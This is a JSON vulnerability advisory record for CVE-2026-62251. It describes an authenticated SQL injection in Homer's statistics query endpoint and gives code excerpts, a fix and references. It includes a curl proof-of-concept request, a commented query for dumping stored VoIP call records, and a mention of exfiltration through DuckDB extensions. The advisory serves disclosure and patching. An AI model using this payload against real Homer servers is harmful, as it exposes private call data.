{"id":"CVE-2026-62251","aliases":["GHSA-f46q-3v67-fmm4","GO-2026-6672"],"url":"https://o3.security/vulnerability/CVE-2026-62251","summary":"Homer: Authenticated SQL Injection via Unvalidated rawquery Field in /api/v4/statistics/query","details":"### Summary\nThe `V4StatisticsQuery` handler passes the user-supplied `rawquery` field directly to DuckDB without calling the `sqlvalidator.ValidateRawSQL` function used throughout the rest of the codebase. Any authenticated user can execute arbitrary SQL statements against all data accessible through the FlightSQL service.\n\n### Details\n**`coordinator/handlers/statistics_v4.go` lines 74-107** — `V4StatisticsQuery`:\n```go\nquery := &model.V4StatisticsQuery{}\nif err = c.Bind(query); err != nil { ... }\n// No ValidateRawSQL call here — contrast with other handlers:\nresults, err := h.flightService.Query(c.Request().Context(), query.RawQuery)\n```\n\n**Contrast with `coordinator/handlers/search.go` line 194** — secure pattern not followed:\n```go\nif err := sqlvalidator.ValidateRawSQL(rawQuery); err != nil {\n    return c.JSON(http.StatusBadRequest, ...)\n}\n```\n\n`query.RawQuery` is whatever the caller submitted; it is passed verbatim to the FlightSQL/DuckDB backend. The handler is registered under the `protected` group (requires JWT), but given that the default JWT secret is empty (see related advisory), this is effectively pre-authentication on a default deployment.\n\n### PoC\n```bash\n# With a valid JWT (or empty JWT secret bypass):\ncurl -s -X POST http://<homer-host>/api/v4/statistics/query \\\n  -H \"Authorization: Bearer <jwt>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"param\": {\n      \"query\": [{\"rawquery\": \"SELECT * FROM information_schema.tables\"}]\n    }\n  }'\n# Returns all table names accessible to the DuckDB FlightSQL service\n\n# Exfiltrate all stored call records:\n# \"rawquery\": \"SELECT * FROM hep LIMIT 1000\"\n# Arbitrary DuckDB SQL is accepted including INSTALL/LOAD for extension-based exfiltration\n```\n\n### Impact\nSQL Injection / Improper Neutralization of Special Elements (CWE-89). Any authenticated user can execute arbitrary SQL against all data accessible to the FlightSQL/DuckDB backend — including all stored VoIP call records, SIP messages, and metadata. Combined with the authentication bypass when JWT secret is empty, this is exploitable without credentials.\n\n### Fix\nApply `sqlvalidator.ValidateRawSQL()` to `query.RawQuery` before passing it to `h.flightService.Query()`, matching the pattern already used in `search.go` and `transactions_v4.go`.\n\nIf possible, please apply for a CVE number when posting.","published":"2026-10-07T16:09:41.434Z","modified":"2026-10-21T02:58:54.148542099Z","cvss":{"score":8.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Go","name":"github.com/sipcapture/homer-app","fixedVersion":"0.0.0-20260625085520-a7d027dc684b"}],"fix":{"url":"https://github.com/sipcapture/homer/commit/a7d027dc684b210b62285c49f555ac88d64f35f0","label":"sipcapture/homer@a7d027d"},"references":[{"type":"WEB","url":"https://github.com/sipcapture/homer/releases/tag/11.0.283"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/62xxx/CVE-2026-62251.json"},{"type":"ADVISORY","url":"https://github.com/sipcapture/homer/security/advisories/GHSA-f46q-3v67-fmm4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62251"},{"type":"FIX","url":"https://github.com/sipcapture/homer/commit/a7d027dc684b210b62285c49f555ac88d64f35f0"},{"type":"FIX","url":"https://github.com/sipcapture/homer/pull/837"},{"type":"PACKAGE","url":"https://github.com/sipcapture/homer"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:58:54.148542099Z"}}
